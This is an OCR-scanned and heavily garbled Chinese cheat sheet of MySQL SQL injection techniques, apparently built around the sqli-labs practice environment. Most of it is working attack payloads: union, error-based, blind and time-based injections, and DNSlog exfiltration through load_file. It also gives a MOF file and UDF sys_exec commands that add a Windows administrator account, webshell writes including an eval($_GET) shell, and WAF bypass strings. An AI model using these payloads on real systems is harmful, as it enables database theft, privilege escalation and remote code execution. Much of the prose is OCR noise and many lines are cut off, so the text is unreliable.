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AXZARTMysqBENEXRAIRNZE, MysalMBAABARE, XESE T —LEERANES.

A A
union select3¥ A\

http://127.0.0.1/?id=1"' order by 5 ——+
http://127.0.0.1/?7id=-1"' union select 1,2,3,4,5 —+
http://127.0.0.1/?id=-1"' union select 1,database(),3,4,5 ——+

7¥: union select BIEMIEG LT, B4 SHIT.

y A
REEAN
IREEREL
1.floor()

#floor()iREERIEE, countFflgroup by BRElrandEF4EEE X=TREE—EASHSLE, AUBREXA
select * from test where id=1 and (select 1 from (select count(x),concat(user(),floor(

2.extractvalue()

#EXTRACTVALUE (XML_document, XPath_string);

#XML_document@Stringt&zy, AXMLXIEXS REJFZFR

#XPath_string (XpathBXMNFRE), FEEBAMESRE, FAconcatBHEGARN SHELIMIRES


javascript:void(0);

select % from test where id=1 and (extractvalue(1l,concat(@x7e, (select user()),0x7e)));
3.updatexml()

#UPDATEXML (XML_document, XPath_string, new_value);

#XML_document@Stringt&z{, IXMLXIEIIRIBZFR,

#XPath_string (Xpathti&XXWFHHE), FRIZEAMEIRE, FIAconcatHISHRN S RIIMIRE
#new_value, Stringi&x, BREXIINFTERHONIE

select *x from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
7E: extractvalue()RE, updatexml() REEBONFHENRAKER32, NIRBINBEEFAsubstring(

4.geometrycollection()

select x from test where id=1 and geometrycollection((select * from(select x from(sele

5.multipoint()

select *x from test where id=1 and multipoint((select x from(select *x from(select user(

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a

7.multipolygon()

select *x from test where id=1 and multipolygon((select * from(select *x from(select use



8.linestring()

select *x from test where id=1 and linestring((select x from(select *x from(select user(

9.multilinestring()

select *x from test where id=1 and multilinestring((select x from(select * from(select
10.exp()

#exp() IRENERE ,FihiEilexpB—THERH WefoRA, HARMNBAANERTIOIMSRE AEBRENE

select *x from test where id=1 and exp(~(select *x from(select user())a));

ER: HmysqlhRA>5.5.530, FiEFIAexp () &K

http://127.0.0.1/sqli/Less-1/?id=1"' and ascii(substr((select user()),1,1))=100 —- +

substring(),min()@substr()

ord() R Eascii(), ¥FrF¥%Nasciifg



select user() regexp '~ro' #l#ruser()BIMMUEENro, EHHREL, $HIRIRE0

R R=pES

B S EthIUERSEN —ARBEIRE sleep() BENCHMARK() AANEASERRRETEFHR ABAZARIE
RI2), —MRIGEEIRNEEZEZFEAFKEHIRTRE i£()
if (exprel, expre2, expre3) HexprelHtrueld, jiR[Elexpre2, falsely, R[Elexpre3,

JEIR PR 28
sleep(5)
http://127.0.0.1/sqli/Less-1/?id=1"' and if((select ord(substring(database(),1,1))) = 9

benchmark(count,expr), REEH1TcountRexprFiAz, FELEREERIK, FKTEER,

BAFRRR(ERNEERE—DRENIRE)
AxB=AFIBHE M TEZMNASHARNES, MEEER
SELECT count(x) FROM information_schema.columns A, information_schema.columns B, infor

RLIKE REGEXPIEMJITED:
Bid rpadsfrepeatiEBKFERE, MAITEEKRMpattern, @i repeattyS A IZHIZER K18
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.x)+',30),'b"');

RPAD(str, len,padstr)
FAZE/E padstry stri#fTABREHBEZEENKEIRE lenMERFKE, AFRE str, IR strigkEKT le
mysql> SELECT RPAD('hi',5,'?"'); —> 'hi???'

= Al

repeat(str,times) EHIFERFEtimesk



B Fsleep(5)

concat(rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999,'a'),rpad(1,999999,

dnslog§iF

B DNSlogE TEEMFlload_file() %K., show variables like '%secure%' &Z&load_file() ] LAIEEXAOREEL .
Lsecure_file_privihE, FMAILUEEEENE R, Hsecure_file_privanull, load_fileFiAN8ENNE ST 4

£5.7.6 ZFEiAANnull, ZMidphpstudy (5.5.53) ] mamp(5.6.35) BINMEERZ Anull, FTEERMEE AR R EIREX
L2, M T7TEN

SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\', (select databas

4 A

BFERHEN
RFETEAREABIEEER T GBKwE, N IIMAEKREFEAunicodeE Ry, K% HMuLERFER T utf-8MI4RIE, 7EHA]
B\ E5| S0 addslashes() Bi&get_magic_quotes_gpc LHLEATRIES | SIMATHEXFR \ MIZERT ' HiIWALZRIHER

=

BT RmISAIAREIE%df%5¢ &7 T —1NXF

on

1RMERREFT



y A
ZIRGEN

TRFEANNRERSqIEOREREXBEFEAMIEE, AEEHZIREOMSNN,
ZRFEANEphpMEE T, AR addslashes() get magic quotes gpc FFEEX, BEEEANIEERT
SERAERNEE, ZRFINERRERNZMZ

A A
limit,order by, from/g8EA

order by
X —MEFTREDEAN sqliEE N select * from admin order by $id F{]—RgForder by RFIKTfhaIFIEK,

HIMME—TMREELTIIHRAFREE
order by;¥ N2 8t HIZ(EMA and 1=1 FRHBFH, MEEAIKHEIED.

mysql> select *x from users order by id;

et o +
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | adminl | adminl |
| I I I

admin2 admin2

[
S



| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
pom pmm +

13 rows in set (0.00 sec)

FIRDEAN R

mysql> select x from users order by if(1=1,username,password);

et o +
| 8 | admin | admin |
| 9 | adminl | adminl |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 12 | dhakkan | dumbo |
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
e +

+
13 rows in set (0.00 sec)

mysql> select x from users order by if(1=2,username,password);

F— o ————— +



| id | username | password |

pm— o ———— +
| 8 | admin | admin |
| 9 | adminl | adminl |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 4 | secure | crappy |
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
| 6 | superman | genious |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
e +

+
13 rows in set (0.00 sec)

EFERETEML

mysql> select x from users order by if((substr((select user()),1,1)="'r"'),username,pass

| 8 | admin | admin |
9 | adminl | adminl |
| 10 | admin2 | admin2 |



| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 12 | dhakkan | dumbo |
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
s E it +

+
13 rows in set (0.00 sec)

mysql> select x from users order by if((substr((select user()),1,1)='a'),username,pass

o ———— Fm——————— +

| id | username | password |

pom pm— +
| 8 | admin | admin |
| 9 | adminl | adminl |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 4 | secure | crappy |
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
| 6 | superman | genious |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |



13 rows in set (0.00 sec)

BfEEiE:
B EEREEEIEEEN sleep() ENMENEERNBRATIRNIED, FAASIERdosTLABUREIEZEQM, X
MR EERTFEI

mysql> select *x from users order by if((substr((select user()),1,1)="'r'),sleep(1),pass

o ——— Fm—————— +

| id | username | password |

e o +
| 6 | superman | genious |
| 8 | admin | admin |
| 10 | admin2 | admin2 |
| 12 | dhakkan | dumbo |
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
| 7 | batman | mob!le |
| 9 | adminl | adminl |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 2 | Angelina | I-kill-you |
| 4 | secure | crappy |
et ——— o ——— +

13 rows in set (13.12 sec)

i —HI3FEE, 8—F#=sleep(l)

ERFEN:



mysql> select x from users order by if((substr((select user()),1,1)="r"),(select 1 fro

et ——— o ——— +
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | adminl | adminl |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
B e Tt +

+
13 rows in set (2.01 sec)

WEEEN:

mysql> select *x from users order by (extractvalue(1l,concat(@x3a,user())),1);
ERROR 1105 (HYQ@0): XPATH syntax error: ':root@localhost'

from

from FEIRVEAN LD



select x from $id;

1. AIAZ5 & order by REN
2. A DMERBAEIEAFREAN

limit

select *x from admin where id >0 1limit 0,1 $id

mysql> select x from users union select 1,user(),3

Bt E Fm— +
| id | username | password |
s Tt Fmm +
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | adminl | adminl |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 1 | root@localhost | 3 |
s Sttt Fmm +

14 rows in set

(0.00 sec)

’



FH PROCEDURE ANALYSE EEHIRIEEN

mysql> select *x from users where id >0 order by id limit 0,1 procedure analyse(extractv
ERROR 1105 (HY@00): XPATH syntax error: ':root@localhost'
ERROR:

No query specified

XEBIERS RBEFEA BENCHMARK ()

select x from users where id >0 order by id limit ©,1 PROCEDURE analyse(extractvalue(ra

4 A
I REIFENAN

HMySQLEEERR A KT 50, fFfEinformation_schemalE, 1EREMYSQLAFIE RGN, SQLIFARF, FiIaET
information_schemaEXEIRENER R, FIEE ., ERXTEZXEHWAFTIE. AEORWWAFDE, **
FEMYSQL5.7 R A ERRAEIREH, FIBLATEDR RENK S

sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer

sys.x$schema_table_statistics_with_buffer



chema_auto_increment columns where table schema=da

@ SeraphR £ N3k

REE—1F&

REE_TRA

* from users as a join usegs b using(id))e;
te column name | USername’ % 5eraphﬁiﬂﬂﬂﬂj

RILE SR 3R AL 75 3E P AR ERFR B 51 &
IRENE ERER R

zenious
mob ! 1e
admin
1rhn1111
1dHuI

p oD 00 =] O OT e G0 D = =

— —
g I

|:11_]I[|1::- u|
admind

R SeraphR L7t

14 rows in set (0,00 sec)




IRENSE =554

adminl
admin?
admins
dumt:o

admind

@ SeraphT£iNihis

= " HINE, SRENE=FIEUE

ZEN1 0SS
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adming
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.2 2 union select * from usersja limit 1,1;

ﬁ SeraphZ 2 NMi4

HWEIEAN
RTINS ZRTselectBOANBRAEERARR, HEIANTHTHIITERSQLIED, REMIEMEMYSQLNZIETEN

select x from users where id=1;select database();

mysqliE N2 X

1.JR18

fEwindows¥EA T, c:/windows/system32/wbem/mof/nullevt.mofiX N HEEBE—EENTE (REY) #ebAsystemil
FRIIT—IR, PRBA, REIHATREANFLZMRSBIABEFMEEX T mof X4, AT ASEIARRIET,

2. M A&

(1) mysalFBF EBrootiXfR(3 LEIBTNERAS)

(2) *H7T secure-file-priv

3FARN

THR—BSF T HImofF RS

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter



EventNamespace = "Root\\Cimv2";

Name = "filtP2";

Query = "Select \ From __InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

b

instance of ActiveScriptEventConsumer as $Consumer

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe

user admin adi



instance of __FilterToConsumerBinding

Consumer = $Consumer;

Filter = $EventFilter;

REABREEEMARLANT —Tadmin@F, ARERIZEERRA (URFEEITENK, WLRZ) , BXITXMH
Fi#EAnullevt. mof EEZIEE—MREBR LRI BRIEBRER (SR, WRIREZAMUER|c:/windows/system32/wbem/mof/
B T), ETRBAIMAIAEIZENTsqIEDIEIAXHSE AR BIREBE:

select load_file('fREEMIKZE/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/r

udptigi}

UDFIEAXZF FAMYSQLII B E X R EINEE, RBMYSQLIKS ¥t R Lisystemil R

FMAZKMY:

1.MysqlhfR AR K F5.1hR A udf.dISX A AT E FMYSQLZLE B 5 THlib\plugin XX R T,

2.Mysql iR & /N F5.10R 48 . udf.dll XX 4 £ Windows2003 T 5 & F c:\windows\system32, 7£windows2000 T & F
c:\winnt\system32,

3. ZEMImysqlEEERKS B X mysalilinsertfldeletefX RIABIZFIMF R EL, —ARDArootlkSH1E, B& rootlkSATR
BB RMEERSHATDA,

4.7 G udf.dlI B NEIHE RN B R IR .

MAEA:

1T.udf.dliIfEsgimap B rI A ], sglmap/udf/mysqgl/windows FiABE32F64FHM, XBEMNUEE
mysqlBIEL, HABXN B RGRINIEN

2.sqimapEMudf.dIRE T mIZNI, FTEFLMENE, BN ITAMAE sglmap/extra/cloak/cloak.py



1T134.T06]

Imaphudfimysgluind ib_mysqludf_sys dll_

1ib_mysqludf_sys.dll_

D \pykhon2 Thegqlnaphextrahc losk

3.f#185E T, fEsqlmap\udf\mysqgl\windows,32f164 343K =4 M dIIX 4, & dlIXX 4 EHIEImysqlid/lib/plugin B %
T, #1TsqliEa

create function sys_exec returns string soname "lib_mysqludf_sys.dll";
select sys_exec('net user aaa 123 /add');

select sys_exec('net localgroup administrators aaa /add');
#BUEFAZER T, M BR{E R A9 28

drop function sys_exec;

delete from mysql.func where name='sys_exec'

mysqliEF AN Ewebshell

ETHRSEN



RS L
1.53webHZRBEEMIR,
2. FNIE M UH RO 48 3 BB AR .

http://127.0.0.1/sqli/Less-38/?id=1"' union select 1,"<?php phpinfo();?>",3 into outfile

FADRAE A

HMysaliFANR R EESRE, Union selectEAMNAXEARTBATH, BBARTNUNELT D RSN, SQLMAPH --
os-shell@s %, FIRAMNME—TXMAR.

FAEM:

1.33webBRZRBENR.

2. FNTE Rk B 48 3T BR A2

http://127.0.0.1/sqli/Less-38/7id=1"' INTO OUTFILE 'D:/Wamp/www/sqli/test.php' lines ter

EHFRIRIS, —HBEMAEN:

INTO OUTFILE '¥¥EE&42' lines terminated by '<?php phpinfo();?>' —--+ (H—aiEhexfwiE) #

INTO OUTFILE '#p¥E&42' fields terminated by '<?php phpinfo();?>' —--+ (SH—GiEhexfwiE) #
INTO OUTFILE '#¥&12' columns terminated by '<?php phpinfo();?>' —-—+ (SH—aiEhex/wiz) #
INTO OUTFILE '#P3#&42' lines starting by '<?php phpinfo();?>' ——+ (8x—H)iEhex4RiL) #

ETFlogB&EEshelli&**

FTRRASAHY MysoL IRE T secure_file priv MR, TEBIEM select into outfile REAN—GIE, X
i, FATATAEII B MysoL By log XHKIREX webshell

FMR&EMG:



1B EZHBIFF Aroott R
2% 18 [ i 48 3 B 15
3.FEHSEN (Zmysql consloe)

http://127.0.0.1/sqli/Less-38/7id=1"';set global general_log = on; —-
http://127.0.0.1/sqli/Less-38/7id=1"';set global general_log_file = 'D:/Wamp/www/sqli/2.
http://127.0.0.1/sqli/Less-38/?id=1"';select '<?php eval($_GETI[g]);?>"'; —-
http://127.0.0.1/sqli/Less-38/7id=1"';set global general_log=o0off; ——

show variables like '%general%';

A A
mysgli3E¥ A waf

RELERST
http://127.0.0.1/Less-1/?id=-1"' union/x!11440selectx/ 1,2,3-—+ EF

http://127.0.0.1/Less-1/?id=1"' order/x!51000ax/by 3--+ &

T AATESE , HAS00002tIIARAS, EERFMA | 1L mAS EREZRIMysqliR A A FARERNRA S TR
NEsqlZA Z1T, BABATFIARburpBHXMENE, MXERNMFTARZE 11440 BN ATRIT, BHEMNEN

@7 .

ARG

#Zdunino select:

union all%23%0a select



union %23%0aall select

union -- hex()%0a select

U REZ 3OS

URLZRHS
RWANLT L A
unicodefRig:
BE|2: %u0027
T %u0020

LIES: %u0028
FIES: %u0029

SHIS R

/x+/ BENRNBwafBRNE, BABANABhpp SEEREZIMRERT
BRAX T FIENREEZ web server XIS EEIET ) fEphp/apache 1 E @&/ —1id

http://127.0.0.1/Less-1/?7id=-1"' /*&id='union select 1,2,3 —— +%x/



| Web Server | Parameter Interpretation | Example |
e +
| ASP.HET/IIS | Concatenation by comma | parl=vall,wval? |
| ASESIIS | Concatenation by comma | parl=vall,valz |
| PHE/Lpache | The last param is resulting | parl=val?z |
| JS5FB/Tomecat | The first param is resulting | parl=wvall |
| Perl/Lpache | The first param is resulting | parl=wvall |
| DEMan | Concatenation by two tildes ﬁi:azgﬁ”ﬁgﬁfgmﬁmjﬁi
e +

FMEHk

B from. %£dfrom

it information_schema.schemata:
“information_schema .schemata
“information_schema . schemata’
information_schema. schemata’
(information_schema.schemata)

information_schema/**/.schemata

%26%26%¢idand

s,

and!!!Z$and

sel<>ect %idselect

DRI

BT DR ERR R, BKLAXEINML Transfer-Encoding: Chunked , fAFPOSTHIEIER AT



2 #XM2RETEHBEN TR IUEZXTEEMADSRINERE bW 2;hello world BILAFI X DR INEE
id #2281 BKSEHMRid—HMAENFTE MU LEENTEHRE?2

2 #EE R[RRTHEHOBIENTEHR

=1 #X T EEE MEENIdEER postiEMRE id=1

0 #PREMRTERNAX — PO DRSS

#IRT

#IRAT

&0 X g

BT DOWAFRCIEEER, MCIEE A REEZFTRARPNGE, FHMRWAFELENXGERNBH T HEHFXKE,
Fhe5| Rbug N SE B Seid

?7id=1 and (select 1)=(Select OxAx1000)+UnIoN+SelLeCT+1,2,version(),4,5,database()

Tl 0xA*1000 IEOXAFE"A"EE 10002k, —R%IET7 XS Nz R34+ Al 28 b X Jas AR 5
ERRWINAKE, XE100023#5%E, EREELBERATHUEBEARAETEXAKBEGL,

4 N
L%



https://blog.csdn.net/weixin_39190897/article/details/103583673
https://mp.weixin.qg.com/s/ODFHERyevMz_giZHi0agiQ
https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI



